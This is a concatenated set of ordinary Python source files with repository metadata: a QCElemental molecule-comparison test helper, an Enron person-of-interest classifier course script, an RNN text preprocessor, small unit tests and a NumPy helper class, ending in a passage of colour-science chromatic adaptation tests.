  Parameters\n    ----------\n    expected : dict\n        Reference value against which `computed` is compared.\n        Dict may be of any depth but should contain Plain Old Data.\n    computed : int, bool, str or int array-like\n        Input value to compare against `expected`.\n        Dict may be of any depth but should contain Plain Old Data.\n    atol : int or float, optional\n        Absolute tolerance (see formula below).\n    label : str, optional\n        Label for passed and error messages. Defaults to calling function name.\n    rtol : float, optional\n        Relative tolerance (see formula below). By default set to zero so `atol` dominates.\n    forgive : list, optional\n        Keys in top level which may change between `expected` and `computed` without triggering failure.\n    equal_phase : bool, optional\n        Compare computed *or its opposite* as equal.\n\n    Returns\n    -------\n    allclose : bool\n        Returns True if `expected` and `computed` are equal within tolerance; False otherwise.\n    message : str, optional\n        When return_message=True, also return passed or error message.\n\n    Notes\n    -----\n\n    .. code-block:: python\n\n        absolute(computed - expected) <= (atol + rtol * absolute(expected))\n\n    \"\"\"\n    label = label or sys._getframe().f_back.f_code.co_name\n    if atol >= 1:\n        raise ValueError(\n            \"Prior to v0.4.0, ``compare_recursive`` used to 10**-atol any atol >=1. That has ceased, so please express your atol literally.\"\n        )\n    if return_handler is None:\n        return_handler = _handle_return\n\n    errors = _compare_recursive(expected, computed, atol=atol, rtol=rtol)\n\n    if errors and equal_phase:\n        n_errors = _compare_recursive(expected, computed, atol=atol, rtol=rtol, equal_phase=True)\n        n_errors = dict(n_errors)\n\n        if equal_phase is False:\n            equal_phase = []\n        elif equal_phase is True:\n            equal_phase = list(dict(errors).keys())\n        else:\n            equal_phase = [(ep if ep.startswith(\"root.\") else \"root.\" + ep) for ep in equal_phase]\n        phased = []\n\n        for nomatch in sorted(errors):\n            for ep in equal_phase or []:\n                if nomatch[0].startswith(ep):\n                    if nomatch[0] not in n_errors:\n                        phased.append(nomatch)\n                        errors.remove(nomatch)\n\n    if forgive is None:\n        forgive = []\n    else:\n        forgive = [(fg if fg.startswith(\"root.\") else \"root.\" + fg) for fg in forgive]\n    forgiven = []\n\n    for nomatch in sorted(errors):\n        for fg in forgive or []:\n            if nomatch[0].startswith(fg):\n                forgiven.append(nomatch)\n                errors.remove(nomatch)\n\n    ## print if verbose >= 2 if these functions had that knob\n    # forgiven_message = []\n    # for e in sorted(forgiven):\n    #     forgiven_message.append(e[0])\n    #     forgiven_message.append(\"forgiven    \" + e[1])\n    # pprint.pprint(forgiven)\n\n    message = []\n    for e in sorted(errors):\n        message.append(e[0])\n        message.append(\"    \" + e[1])\n\n    ret_msg_str = \"\\n\".join(message)\n\n    return return_handler(len(ret_msg_str) == 0, label, ret_msg_str, return_message, quiet)\n\n\ndef compare_molrecs(\n    expected,\n    computed,\n    label: str = None,\n    *,\n    atol: float = 1.0e-6,\n    rtol: float = 1.0e-16,\n    forgive=None,\n    verbose: int = 1,\n    relative_geoms=\"exact\",\n    return_message: bool = False,\n    return_handler: Callable = None,\n) -> bool:\n    \"\"\"Function to compare Molecule dictionaries. Prints\n    #    :py:func:`util.success` when elements of `computed` match elements of\n    #    `expected` to `tol` number of digits (for float arrays).\n\n    \"\"\"\n    # Need to manipulate the dictionaries a bit, so hold values\n    xptd = copy.deepcopy(expected)\n    cptd = copy.deepcopy(computed)\n\n    def massage_dicts(dicary):\n        # if 'fix_symmetry' in dicary:\n        #     dicary['fix_symmetry'] = str(dicary['fix_symmetry'])\n        # if 'units' in dicary:\n        #     dicary['units'] = str(dicary['units'])\n        if \"fragment_files\" in dicary:\n            dicary[\"fragment_files\"] = [str(f) for f in dicary[\"fragment_files\"]]\n        # and about int vs long errors\n        # if 'molecular_multiplicity' in dicary:\n        #     dicary['molecular_multiplicity'] = int(dicary['molecular_multiplicity'])\n        # if 'fragment_multiplicities' in dicary:\n        #     dicary['fragment_multiplicities'] = [(m if m is None else int(m))\n        #                                          for m in dicary['fragment_multiplicities']]\n        if \"fragment_separators\" in dicary:\n            dicary[\"fragment_separators\"] = [(s if s is None else int(s)) for s in dicary[\"fragment_separators\"]]\n        # forgive generator version changes\n        if \"provenance\" in dicary:\n            dicary[\"provenance\"].pop(\"version\")\n        # regularize connectivity ordering\n        if \"connectivity\" in dicary:\n            conn = [(min(at1, at2), max(at1, at2), bo) for (at1, at2, bo) in dicary[\"connectivity\"]]\n            conn.sort(key=lambda tup: tup[0])\n            dicary[\"connectivity\"] = conn\n\n        return dicary\n\n    xptd = massage_dicts(xptd)\n    cptd = massage_dicts(cptd)\n\n    if relative_geoms == \"exact\":\n        pass\n    elif relative_geoms == \"align\":\n        # can't just expect geometries to match, so we'll align them, check that\n        #   they overlap and that the translation/rotation arrays jibe with\n        #   fix_com/orientation, then attach the oriented geom to computed before the\n        #   recursive dict comparison.\n        from .molutil.align import B787\n\n        cgeom = np.array(cptd[\"geom\"]).reshape((-1, 3))\n        rgeom = np.array(xptd[\"geom\"]).reshape((-1, 3))\n        rmsd, mill = B787(\n            rgeom=rgeom,\n            cgeom=cgeom,\n            runiq=None,\n            cuniq=None,\n            atoms_map=True,\n            mols_align=True,\n            run_mirror=False,\n            verbose=0,\n        )\n        if cptd[\"fix_com\"]:\n            return compare(\n                True,\n                np.allclose(np.zeros((3)), mill.shift, atol=atol),\n                \"null shift\",\n                quiet=(verbose == 0),\n                return_message=return_message,\n                return_handler=return_handler,\n            )\n        if cptd[\"fix_orientation\"]:\n            return compare(\n                True,\n                np.allclose(np.identity(3), mill.rotation, atol=atol),\n                \"null rotation\",\n                quiet=(verbose == 0),\n                return_message=return_message,\n                return_handler=return_handler,\n            )\n        ageom = mill.align_coordinates(cgeom)\n        cptd[\"geom\"] = ageom.reshape((-1))\n\n    return compare_recursive(\n        xptd,\n        cptd,\n        atol=atol,\n        rtol=rtol,\n        label=label,\n        forgive=forgive,\n        quiet=(verbose == 0),\n        return_message=return_message,\n        return_handler=return_handler,\n    )\n", "meta": {"hexsha": "9eedda01272c8fa03c2e879945137c3d47842db6", "size": 20065, "ext": "py", "lang": "Python", "max_stars_repo_path": "qcelemental/testing.py", "max_stars_repo_name": "bgpeyton/QCElemental", "max_stars_repo_head_hexsha": "34c259f0c759e53c2bad9aa0da1126500fe6cf75", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "qcelemental/testing.py", "max_issues_repo_name": "bgpeyton/QCElemental", "max_issues_repo_head_hexsha": "34c259f0c759e53c2bad9aa0da1126500fe6cf75", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "qcelemental/testing.py", "max_forks_repo_name": "bgpeyton/QCElemental", "max_forks_repo_head_hexsha": "34c259f0c759e53c2bad9aa0da1126500fe6cf75", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.0786713287, "max_line_length": 159, "alphanum_fraction": 0.5975080987, "include": true, "reason": "import numpy", "num_tokens": 4818, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038986, "lm_q2_score": 0.14033624229926062, "lm_q1q2_score": 0.06090332799810796}}
{"text": "\n# coding: utf-8\n\n# In[78]:\n\n#!/usr/bin/python\nimport time\nstart_time = time.time()\n\nimport sys\nimport pickle\nimport numpy as np\nsys.path.append(\"../tools/\")\n\nfrom feature_format import featureFormat, targetFeatureSplit\nfrom tester import dump_classifier_and_data\nfrom tester import test_classifier\n\n\n# In[79]:\n\n#------------------------------------------------------------------\n### Task 1: Select what features you'll use.\n### features_list is a list of strings, each of which is a feature name.\n### The first feature must be \"poi\".\n\npoi = ['poi']\nfinancial_features = ['salary','bonus','deferral_payments','deferred_income',\n                      'exercised_stock_options','expenses','long_term_incentive',\n                      'other','restricted_stock','total_payments','total_stock_value']\nemail_features = ['from_messages','from_poi_to_this_person','from_this_person_to_poi',\n                  'shared_receipt_with_poi','to_messages']\nfeatures_list =  poi + financial_features + email_features\n\n### Load the dictionary containing the dataset\nwith open(\"final_project_dataset.pkl\", \"r\") as data_file:\n    data_dict = pickle.load(data_file)\n    \nprint \"Size dataset: \" , len(data_dict)\npoi = 0\nnot_poi = 0\nfor k in data_dict:\n    if data_dict[k]['poi'] == True:\n        poi += 1\n    if data_dict[k]['poi'] == False:\n        not_poi += 1\n        \nprint \"Number of POI: \" , poi\nprint \"Number of not POI: \" , not_poi\nprint \"Number of financial Features: \" , len(financial_features)\nprint \"Number of email Features: \" , len(email_features)\n\n\n# In[80]:\n\n#-----------------------------------------------------------------    \n### Task 2: Remove outliers\n\n# remove 'TOTAL' from dictionary\ndel data_dict['TOTAL']\n\n# remove 'THE TRAVEL AGENCY IN THE PARK' from dictionary\ndel data_dict['THE TRAVEL AGENCY IN THE PARK']\n\n# remove negative values from 'restricted_stock'\nfor person in data_dict:\n        if data_dict[person]['restricted_stock'] < 0 and data_dict[person]['restricted_stock'] != 'NaN':\n            data_dict[person]['restricted_stock'] = 'NaN'\n\n# remove negative values from 'deferral_payments'\nfor person in data_dict:\n        if data_dict[person]['deferral_payments'] < 0 and data_dict[person]['deferral_payments'] != 'NaN':\n            data_dict[person]['deferral_payments'] = 'NaN'\n\n# remove negative values from 'total_stock_value'\nfor person in data_dict:\n        if data_dict[person]['total_stock_value'] < 0 and data_dict[person]['total_stock_value'] != 'NaN':\n            data_dict[person]['total_stock_value'] = 'NaN'\n            \n# Remove 'restricted_stock_deferred' and 'loan_advances' from the features, few relevant data available\n\n# Remove 'director_fee' because there is only non-POI data\n\n\n# In[81]:\n\n# Checking if had some person without value\nnot_NaN_data = {}\nfor key in data_dict:\n    not_NaN_feature = 0\n    for feature in data_dict[key]:\n        if data_dict[key][feature] != 'NaN':\n            not_NaN_feature += 1\n    not_NaN_data[key] = not_NaN_feature\n\nfor k in not_NaN_data:\n    if not_NaN_data[k] == 1:\n        print k\n        print data_dict[k]\n\n\n# In[82]:\n\n# remove 'THE TRAVEL AGENCY IN THE PARK' from dictionary\ndel data_dict['LOCKHART EUGENE E']\n\n\n# In[83]:\n\n#------------------------------------------------------------------\n### Task 3: Create new feature(s)\n### Store to my_dataset for easy export below.\n\n### The messages to and from POI are an absolute measure, let's create new features that are a ratio of the total messages.\ndef new_feature_ratio(new_feature, numerator, denominator):    \n    for key in data_dict:\n        if data_dict[key][denominator] != 'NaN' and data_dict[key][numerator] != \"NaN\":\n            data_dict[key][new_feature] = float(data_dict[key][numerator]) / float(data_dict[key][denominator])\n        else:\n            data_dict[key][new_feature] = \"NaN\"\n    features_list.append(new_feature)\n    \n### Feature - 'from_this_person_to_poi_ratio'\nnew_feature_ratio('from_this_person_to_poi_ratio', 'from_this_person_to_poi', 'from_messages')\n\n### Feature - 'from_poi_to_this_person_ratio'\nnew_feature_ratio('from_poi_to_this_person_ratio', 'from_poi_to_this_person', 'to_messages')\n    \n### Feature - 'bonus_ratio'\nnew_feature_ratio('bonus_ratio', 'bonus', 'salary')\n\n\n# In[84]:\n\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler(feature_range=(0, 1))\nmy_dataset = data_dict\n\n### Put features with \"long tail\" in log10 scale\nfeatures_list_log = ['salary','bonus','deferral_payments','exercised_stock_options',\n                     'expenses','long_term_incentive','other','restricted_stock',\n                     'total_payments','total_stock_value', 'from_messages', \n                     'from_poi_to_this_person', 'from_this_person_to_poi', \n                     'shared_receipt_with_poi', 'bonus_ratio']\nfeatures_list_log = []\nfor n in range(1,len(features_list_log)):\n    for person in my_dataset:\n        if my_dataset[person][features_list_log[n]] != \"NaN\":\n            if my_dataset[person][features_list_log[n]] >= 0:\n                if my_dataset[person][features_list_log[n]] == 0:\n                    my_dataset[person][features_list_log[n]] = 0\n            else:\n                my_dataset[person][features_list_log[n]] = np.log10(my_dataset[person][features_list_log[n]]*-1)\n\n### Extract features and labels from dataset for local testing\ndata = featureFormat(my_dataset, features_list, sort_keys = True)\nlabels, features = targetFeatureSplit(data)\n\n### Put all features in same reange (0,1)\nfor n in range(0,len(features[0])):\n    feature = []\n    for person in range(0,len(features)):\n        feature.append(features[person][n])\n    feature = np.array(feature).reshape(-1,1)\n    feature = scaler.fit_transform(feature)\n    for person in range(0,len(features)):\n        features[person][n] = feature[person]\n\n\n# In[85]:\n\n#-----------------------------------------------------------------\n### Task 4: Try a varity of classifiers\n### Please name your classifier clf for easy export below.\n### Note that if you want to do PCA or other multi-stage operations,\n### you'll need to use Pipelines. For more info:\n### http://scikit-learn.org/stable/modules/pipeline.html\n\n# Provided to give you a starting point. Try a variety of classifiers.\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.naive_bayes import GaussianNB\nclf_NB = GaussianNB()\n\nfrom sklearn import svm\nfrom sklearn.svm import SVC\nparameters = {'kernel':('linear', 'rbf', 'poly', 'sigmoid'), 'C':[1, 10], 'degree': [2,10]}\nsvr = svm.SVC()\nclf_SVM = GridSearchCV(svr, parameters, scoring = 'f1')\n\nfrom sklearn.tree import DecisionTreeClassifier\nparameters = {'criterion':('gini', 'entropy'), 'splitter':('best', 'random'), 'min_samples_split':[2,200]}\nsvr = DecisionTreeClassifier()\nclf_tree = GridSearchCV(svr, parameters, scoring = 'f1')\n\nfrom sklearn.ensemble import RandomForestClassifier\nparameters = {'n_estimators': [2,20], 'criterion':('gini', 'entropy'), 'min_samples_split':[2,200]}\nsvr = RandomForestClassifier()\nclf_randon_forest = GridSearchCV(svr, parameters, scoring = 'f1')\n\nclassifiers = {\"clf_NB\": clf_NB,\n               \"clf_SVM\": clf_SVM,\n               \"clf_tree\": clf_tree,\n               \"clf_randon_forest\": clf_randon_forest}\n\n\n#----------------------------------------------------------------\n### Task 5: Tune your classifier to achieve better than .3 precision and recall \n### using our testing script. Check the tester.py script in the final project\n### folder for details on the evaluation method, especially the test_classifier\n### function. Because of the small size of the dataset, the script uses\n### stratified shuffle split cross validation. For more info: \n### http://scikit-learn.org/stable/modules/generated/sklearn.cross_validation.StratifiedShuffleSplit.html\n\n# Example starting point. Try investigating other evaluation techniques!\n\n### Using K-fold\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import precision_recall_fscore_support\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import f_classif\nfrom sklearn.pipeline import make_pipeline\n\ndef train_test_StratifiedKFold(clf, k_best, features):\n    # Enter a classifier and the number of the k-best features and the function return\n    # the classifier and validation metrics\n    acc = []\n    pre = []\n    rec = []\n    f = []\n    skf = StratifiedKFold(2, shuffle=True)\n    for train_index, test_index in skf.split(features, labels):\n        features_train = [features[ii] for ii in train_index] \n        labels_train = [labels[ii] for ii in train_index]\n        features_test = [features[ii] for ii in test_index]\n        labels_test = [labels[ii] for ii in test_index]\n        \n        skb = SelectKBest(f_classif, k = k_best)\n        pipe = make_pipeline(skb, clf)\n        pipe.fit(features_train, labels_train)\n        labels_pred = pipe.predict(features_test)\n        acc.append(accuracy_score (labels_test, labels_pred))\n        pre_rec_f = precision_recall_fscore_support (labels_test, labels_pred)\n        try:\n            pre.append(pre_rec_f[0][1])\n        except:\n            pass\n        try:\n            rec.append(pre_rec_f[1][1])\n        except:\n            pass\n        try:\n            f.append(pre_rec_f[2][1])\n        except:\n            pass\n    return [pipe, np.mean(acc), np.mean(pre), np.mean(rec), np.mean(f)]\n\n\n# In[86]:\n\n#---------------------------------------------------------\n# Now we will test the best classifiers\n\nbest_clf = [None, None, None]\n\n# We will test all combination of the 4 algoritms and k-best features (k from 1 to 19). \n# For each metric (accuracy, precision, recall and f) we will print the best combination.\n# We will try 5 times to be sure to choose the best combination\nfor test in range(1,6):\n    max_acc = [0, 'NaN', 'NaN']\n    max_pre = [0, 'NaN', 'NaN']\n    max_rec = [0, 'NaN', 'NaN']\n    max_f = [0, 'NaN', 'NaN']\n    for algor in classifiers:\n        for k_best in range(1, 17): #20):\n            preview_clf, acc, pre, rec, f = train_test_StratifiedKFold(classifiers[algor], k_best, features)\n            if acc > max_acc[0]:\n                max_acc = [acc, algor, k_best]\n            if pre > max_pre[0]:\n                max_pre = [pre, algor, k_best]\n            if rec > max_rec[0]:\n                max_rec = [rec, algor, k_best]\n            if f > max_f[0]:\n                max_f = [f, algor, k_best]\n                best_clf = ['k-best', max_f, preview_clf]\n\n    print \"\"\n    print \"Test k-best \", test\n    print 'Accuracy: ', max_acc\n    print 'Precision: ', max_pre\n    print 'Reccal: ', max_rec\n    print 'f Score: ', max_f\n\n### We will do the same but decomponding the features using PCA (n\u00b0 of componnents 1 to 19)\nfrom sklearn.decomposition import PCA\n\nfor test in range(1,6):\n    max_acc = [0, 'NaN', 'NaN']\n    max_pre = [0, 'NaN', 'NaN']\n    max_rec = [0, 'NaN', 'NaN']\n    max_f = [0, 'NaN', 'NaN']\n    for algor in classifiers:\n        for n_comp in range(1, 17): #20):\n            pca = PCA(n_components = n_comp)\n            pipe = make_pipeline(pca, classifiers[algor])\n            #pca_features = pca.fit_transform(features)\n            preview_clf, acc, pre, rec, f = train_test_StratifiedKFold(pipe, \"all\", features)\n            if acc > max_acc[0]:\n                max_acc = [acc, algor, n_comp]\n            if pre > max_pre[0]:\n                max_pre = [pre, algor, n_comp]\n            if rec > max_rec[0]:\n                max_rec = [rec, algor, n_comp]\n            if f > max_f[0]:\n                max_f = [f, algor, n_comp]\n            if f > best_clf[1][0]:\n                best_clf = ['PCA', max_f, preview_clf]\n\n    print \"\"\n    print \"Test PCA\", test\n    print 'Accuracy: ', max_acc\n    print 'Precision: ', max_pre\n    print 'Reccal: ', max_rec\n    print 'f Score: ', max_f\n\n\n# In[87]:\n\n#--------------------------------------------------------\n### Task 6: Dump your classifier, dataset, and features_list so anyone can\n### check your results. You do not need to change anything below, but make sure\n### that the version of poi_id.py that you submit can be run on its own and\n### generates the necessary .pkl files for validating your results.\n\nprint \"f classi: \", best_clf[1]\nprint \"K-best or PCA: \", best_clf[0]\nprint \"Classifier:\"\nprint best_clf[2]\n\n\n### The best classifier is\nclf = best_clf[2]\n\n\ndump_classifier_and_data(clf, my_dataset, features_list)\nprint \"\"\ntest_classifier(clf, my_dataset, features_list, folds = 1000)\n\nprint \"\"\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n\n", "meta": {"hexsha": "1f11345d3dd938e70b5298a1ccc05c77ef6e85f9", "size": 12560, "ext": "py", "lang": "Python", "max_stars_repo_path": "poi_id.py", "max_stars_repo_name": "fabiocorreacordeiro/Explorando-dados-Eron", "max_stars_repo_head_hexsha": "596641bebce934ba1cc3d3cdb6b8d25f65a1cb7a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "poi_id.py", "max_issues_repo_name": "fabiocorreacordeiro/Explorando-dados-Eron", "max_issues_repo_head_hexsha": "596641bebce934ba1cc3d3cdb6b8d25f65a1cb7a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "poi_id.py", "max_forks_repo_name": "fabiocorreacordeiro/Explorando-dados-Eron", "max_forks_repo_head_hexsha": "596641bebce934ba1cc3d3cdb6b8d25f65a1cb7a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.5807365439, "max_line_length": 123, "alphanum_fraction": 0.6436305732, "include": true, "reason": "import numpy", "num_tokens": 3087, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.1276526352779213, "lm_q1q2_score": 0.06083664837811043}}
{"text": "import tensorflow as tf\r\nimport numpy as np\r\nfrom functools import reduce\r\n\r\ndef get_data(train_file, test_file):\r\n    \"\"\"\r\n    Read and parse the train and test file line by line, then tokenize the sentences to build the train and test data separately.\r\n    Create a vocabulary dictionary that maps all the unique tokens from your train and test data as keys to a unique integer value.\r\n    Then vectorize your train and test data based on your vocabulary dictionary.\r\n\r\n    :param train_file: Path to the training file.\r\n    :param test_file: Path to the test file.\r\n    :return: Tuple of train (1-d list or array with training words in vectorized/id form), test (1-d list or array with testing words in vectorized/id form), vocabulary (Dict containg index->word mapping)\r\n    \"\"\"\r\n\r\n    # TODO: load and concatenate training data from training file.\r\n\r\n    # TODO: load and concatenate testing data from testing file.\r\n\r\n    # TODO: read in and tokenize training data\r\n\r\n    # TODO: read in and tokenize testing data\r\n\r\n    # TODO: return tuple of training tokens, testing tokens, and the vocab dictionary.\r\n\r\n    train_data=open(train_file, 'r')\r\n    test_data=open(test_file, 'r')\r\n\r\n    train=[]\r\n    test=[]\r\n    vocab_dict=dict()\r\n    curr_id=0\r\n\r\n    for line in train_data:\r\n        words=line.split()\r\n        for w in words:\r\n            if w not in vocab_dict:\r\n                vocab_dict[w]=curr_id\r\n                curr_id+=1\r\n            w_id=vocab_dict[w]\r\n            train.append(w_id)\r\n    train=np.array(train)\r\n\r\n\r\n    for line in test_data:\r\n        words=line.split()\r\n        for w in words:\r\n            if w not in vocab_dict:\r\n                vocab_dict[w]=curr_id\r\n                curr_id+=1\r\n            w_id=vocab_dict[w]\r\n            test.append(w_id)\r\n    test=np.array(test)\r\n\r\n    return vocab_dict,train,test\r\n\r\n", "meta": {"hexsha": "9064e97170deb87ab8ec37347f3d87eb5145a4e3", "size": 1848, "ext": "py", "lang": "Python", "max_stars_repo_path": "rnn/preprocess.py", "max_stars_repo_name": "fredericsun/seq2seq-ChinesePoetryGenerater", "max_stars_repo_head_hexsha": "2d3aab3807f99c99046f53a4d5cc045ae733386f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "rnn/preprocess.py", "max_issues_repo_name": "fredericsun/seq2seq-ChinesePoetryGenerater", "max_issues_repo_head_hexsha": "2d3aab3807f99c99046f53a4d5cc045ae733386f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rnn/preprocess.py", "max_forks_repo_name": "fredericsun/seq2seq-ChinesePoetryGenerater", "max_forks_repo_head_hexsha": "2d3aab3807f99c99046f53a4d5cc045ae733386f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.4210526316, "max_line_length": 205, "alphanum_fraction": 0.637987013, "include": true, "reason": "import numpy", "num_tokens": 397, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.1225232125181592, "lm_q1q2_score": 0.0607830096972129}}
{"text": "import numpy as np\nfrom sortingComplexity import run\n\ndef test_basic_test():\n    #asserts that the outputs of both algorithms in \"basic test\" are equivalent\n    assert run.basic_test()\n    \ndef test_complexity_experiment_and_vis():\n\n    c,i = run.complexity_experiment()\n    \n    #format of output is correct (two dictionaries)\n    assert type(c)==dict\n    assert type(i)==dict", "meta": {"hexsha": "ccbefdb2f08346ce1adc0228835d1f5d17aab401", "size": 377, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_run.py", "max_stars_repo_name": "kenburke/sortingAlgorithms", "max_stars_repo_head_hexsha": "cfc7835c5fc0df6a3836d9d12f1071776ee3c472", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/test_run.py", "max_issues_repo_name": "kenburke/sortingAlgorithms", "max_issues_repo_head_hexsha": "cfc7835c5fc0df6a3836d9d12f1071776ee3c472", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/test_run.py", "max_forks_repo_name": "kenburke/sortingAlgorithms", "max_forks_repo_head_hexsha": "cfc7835c5fc0df6a3836d9d12f1071776ee3c472", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.9285714286, "max_line_length": 79, "alphanum_fraction": 0.7267904509, "include": true, "reason": "import numpy", "num_tokens": 85, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.12252320610998799, "lm_q1q2_score": 0.060783006518158704}}
{"text": "import math\nimport numpy\n\nclass Wave:\n    \n    \"\"\"An helper class for Wave values  (vectors u, u_(i-1) etc. in\n    the instructions). This class contains additional code for checking\n    the correct shape of these vectors.\"\"\"\n    \n    def __init__(self, values):\n        assert type(values) == numpy.ndarray\n        assert len(values.shape) == 1\n        self.values = values\n    \n    def copy_from(self, values):\n        \n        \"\"\"Copies data from the given NumPy array into this\n        Wave vector.\"\"\"\n        \n        assert type(values) == numpy.ndarray        \n        assert self.values.shape == values.shape\n        \n        self.values[:] = values[:]\n", "meta": {"hexsha": "6d1e2138e0fca934f21000b2f03df2bc435e9450", "size": 661, "ext": "py", "lang": "Python", "max_stars_repo_path": "2009/scientific-computing/project1/src/util/Wave.py", "max_stars_repo_name": "rla/old-code", "max_stars_repo_head_hexsha": "06aa69c3adef8434992410687d466dc42779e57b", "max_stars_repo_licenses": ["Ruby", "MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2015-11-08T10:01:47.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-10T00:00:58.000Z", "max_issues_repo_path": "2009/scientific-computing/project1/src/util/Wave.py", "max_issues_repo_name": "rla/old-code", "max_issues_repo_head_hexsha": "06aa69c3adef8434992410687d466dc42779e57b", "max_issues_repo_licenses": ["Ruby", "MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "2009/scientific-computing/project1/src/util/Wave.py", "max_forks_repo_name": "rla/old-code", "max_forks_repo_head_hexsha": "06aa69c3adef8434992410687d466dc42779e57b", "max_forks_repo_licenses": ["Ruby", "MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.5416666667, "max_line_length": 71, "alphanum_fraction": 0.5945537065, "include": true, "reason": "import numpy", "num_tokens": 142, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.12252320610998799, "lm_q1q2_score": 0.0607830065181587}}
{"text": "# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nDefines unit tests for :mod:`colour.adaptation.cie1994` module.\n\"\"\"\n\nfrom __future__ import division, unicode_literals\n\nimport numpy as np\nimport unittest\nfrom itertools import permutations\n\nfrom colour.adaptation import chromatic_adaptation_CIE1994\nfrom colour.utilities import domain_range_scale, ignore_numpy_errors\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013-2019 - Colour Developers'\n__license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-science@googlegroups.com'\n__status__ = 'Production'\n\n__all__ = ['TestChromaticAdaptationCIE1994']\n\n\nclass TestChromaticAdaptationCIE1994(unittest.TestCase):\n    \"\"\"\n    Defines :func:`colour.adaptation.cie1994.chromatic_adaptation_CIE1994`\n    definition unit tests methods.\n    \"\"\"\n\n    def test_chromatic_adaptation_CIE1994(self):\n        \"\"\"\n        Tests :func:`colour.adaptation.cie1994.chromatic_adaptation_CIE1994`\n        definition.\n        \"\"\"\n\n        np.testing.assert_almost_equal(\n            chromatic_adaptation_CIE1994(\n                XYZ_1=np.array([28.00, 21.26, 5.27]),\n                xy_o1=np.array([0.44760, 0.40740]),\n                xy_o2=np.array([0.31270, 0.32900]),\n                Y_o=20,\n                E_o1=1000,\n                E_o2=1000),\n            np.array([24.03379521, 21.15621214, 17.64301199]),\n            decimal=7)\n\n        np.testing.assert_almost_equal(\n            chromatic_adaptation_CIE1994(\n                XYZ_1=np.array([21.77, 19.18, 16.73]),\n                xy_o1=np.array([0.31270, 0.32900]),\n                xy_o2=np.array([0.31270, 0.32900]),\n                Y_o=50,\n                E_o1=100,\n                E_o2=1000),\n            np.array([21.12891746, 19.42980532, 19.49577765]),\n            decimal=7)\n\n        np.testing.assert_almost_equal(\n            chromatic_adaptation_CIE1994(\n                XYZ_1=np.array([0.07818780, 0.06157201, 0.28099326]) * 100,\n                xy_o1=np.array([0.31270, 0.32900]),\n                xy_o2=np.array([0.37208, 0.37529]),\n                Y_o=20,\n                E_o1=100,\n                E_o2=1000),\n            np.array([9.14287406, 9.35843355, 15.95753504]),\n            decimal=7)\n\n    def test_n_dimensional_chromatic_adaptation_CIE1994(self):\n        \"\"\"\n        Tests :func:`colour.adaptation.cie1994.chromatic_adaptation_CIE1994`\n        definition n-dimensional arrays support.\n        \"\"\"\n\n        XYZ_1 = np.array([28.00, 21.26, 5.27])\n        xy_o1 = np.array([0.44760, 0.40740])\n        xy_o2 = np.array([0.31270, 0.32900])\n        Y_o = 20\n        E_o1 = 1000\n        E_o2 = 1000\n        XYZ_2 = chromatic_adaptation_CIE1994(XYZ_1, xy_o1, xy_o2, Y_o, E_o1,\n                                             E_o2)\n\n        XYZ_1 = np.tile(XYZ_1, (6, 